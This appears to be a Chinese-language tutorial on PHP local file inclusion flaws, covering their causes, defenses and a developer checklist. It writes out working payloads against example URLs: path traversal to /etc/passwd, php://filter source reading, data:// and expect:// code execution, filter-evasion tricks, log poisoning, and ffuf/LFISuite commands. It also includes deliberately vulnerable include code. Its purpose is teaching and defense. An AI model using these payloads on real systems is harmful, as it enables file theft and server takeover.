1. 文件包含漏洞的本质与危害
文件包含漏洞(File Inclusion Vulnerability)是Web安全领域最常见的高危漏洞之一,尤其在PHP环境中更为突出。简单来说,当开发者使用include、require等函数动态加载文件时,如果未对用户输入进行严格过滤,攻击者就能通过构造恶意参数控制文件加载路径,进而实现任意代码执行。
1.1 漏洞产生的根本原因
PHP作为服务端脚本语言,其强大的文件包含功能本是为了提高代码复用性。例如:
// 正常业务逻辑:根据用户选择加载不同页面 $page = $_GET['page']; include('/templates/' . $page . '.php');问题出在开发者往往忽略两个关键点:
- 路径拼接未做限制:未对用户输入的
page参数进行目录穿越检查 - 文件后缀未强制添加:依赖手动拼接
.php后缀而非白名单校验
1.2 实际攻击场景演示
假设存在漏洞的URL为:
http://example.com/index.php?page=userprofile攻击者可以构造:
http://example.com/index.php?page=../../etc/passwd%00(注:%00是空字符的URL编码,用于截断后缀)
这将导致服务器返回系统的/etc/passwd文件内容。更危险的是,如果网站允许文件上传(如图片),攻击者可以:
- 上传包含PHP代码的图片文件
- 通过包含漏洞执行该文件
- 完全控制服务器
提示:现代PHP版本已默认禁用
%00截断,但仍有其他绕过方式
2. PHP伪协议的攻击利用
PHP内置的伪协议(Wrapper)本是为方便开发者处理各类数据流,但在文件包含漏洞中却成为攻击利器。以下是几种高危协议:
2.1 php://filter 协议
该协议本用于数据流过滤,却能被用来读取源码:
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=config.php这会将config.php文件内容以Base64编码形式输出,避免直接包含执行。
技术原理:
convert.base64-encode是过滤器链的一部分resource指定要操作的文件路径- 编码输出可绕过某些WAF的检测
2.2 data:// 协议
允许直接包含URL编码的数据:
http://example.com/index.php?page=data://text/plain,<?php phpinfo();?>这将直接执行phpinfo()函数。
防御要点:
- PHP 5.2+默认禁用该协议
- 需设置
allow_url_include=On才生效
2.3 expect:// 协议
(注:该协议需要安装PECL扩展,但一旦存在极其危险)
http://example.com/index.php?page=expect://ls可直接执行系统命令。
3. 漏洞防御的层级化方案
3.1 代码层防护
绝对路径+白名单校验:
$allowed = ['home', 'profile', 'contact']; $page = $_GET['page']; if(in_array($page, $allowed)) { include(__DIR__ . '/templates/' . $page . '.php'); } else { die('Invalid page request'); }动态包含的替代方案:
// 使用switch-case替代动态包含 switch($page) { case 'home': require 'home.php'; break; // ...其他合法选项 default: header('HTTP/1.1 404 Not Found'); }3.2 服务器配置加固
- 修改php.ini:
allow_url_fopen = Off allow_url_include = Off- 设置open_basedir限制访问目录:
open_basedir = /var/www/example.com/- 禁用危险函数:
disable_functions = exec,passthru,shell_exec,system3.3 运维层防护
- 定期更新PHP版本(新版本修复了很多历史漏洞)
- 使用ModSecurity等WAF拦截包含攻击特征
- 文件上传目录设置为不可执行
4. 渗透测试中的实用技巧
4.1 漏洞探测手法
- 基础测试:
/index.php?page=../../../../etc/passwd /index.php?page=php://filter/resource=index.php- 绕过技巧:
- 路径遍历绕过:
....//....//etc/passwd /var/www/././././etc/passwd- 协议混淆:
pHp://FilTer/convert.base64-encode/resource=index.php- 日志污染攻击: 如果包含
.php文件时报错信息泄露真实路径,可以: - 通过User-Agent注入PHP代码
- 包含访问日志文件(如/var/log/apache2/access.log)
- 触发代码执行
4.2 自动化工具使用
使用Burp Suite测试:
- 抓取包含文件参数的请求
- 使用Intruder模块加载常见payload:
- LFI测试字典(包含各种路径遍历组合)
- PHP伪协议payload
- 根据响应长度/内容判断漏洞
Kali Linux工具集:
# 使用ffuf进行模糊测试 ffuf -w LFI-wordlist.txt -u "http://target/FUZZ" # 使用LFISuite自动化利用 python lfi.py -u http://example.com/index.php?page= -f /etc/passwd5. 真实案例分析
某电商平台曾因文件包含漏洞导致数据泄露:
漏洞点:
// 订单导出功能 $report = $_GET['report']; include('./reports/' . $report);攻击过程:
- 攻击者发现参数未过滤
- 使用
php://filter读取数据库配置文件 - 获取数据库凭据后导出全部用户数据
修复方案:
- 改用
file_get_contents+json_decode替代动态包含 - 文件路径改为数据库存储的ID映射
- 添加权限校验层
6. 开发者自查清单
为避免引入文件包含漏洞,每次使用包含函数时应检查:
- [ ] 是否使用用户输入直接拼接路径?
- [ ] 是否限制文件后缀为特定类型(如仅.php)?
- [ ] 是否设置open_basedir限制目录范围?
- [ ] 是否禁用不必要的URL包装协议?
- [ ] 是否对包含文件做权限校验?
- [ ] 是否记录异常的包含请求?
对于历史遗留系统,建议逐步替换包含机制:
- 用自动加载器(如Composer)替代手动包含
- 使用模板引擎(Twig/Smarty)代替原生PHP包含
- 关键配置文件改为环境变量存储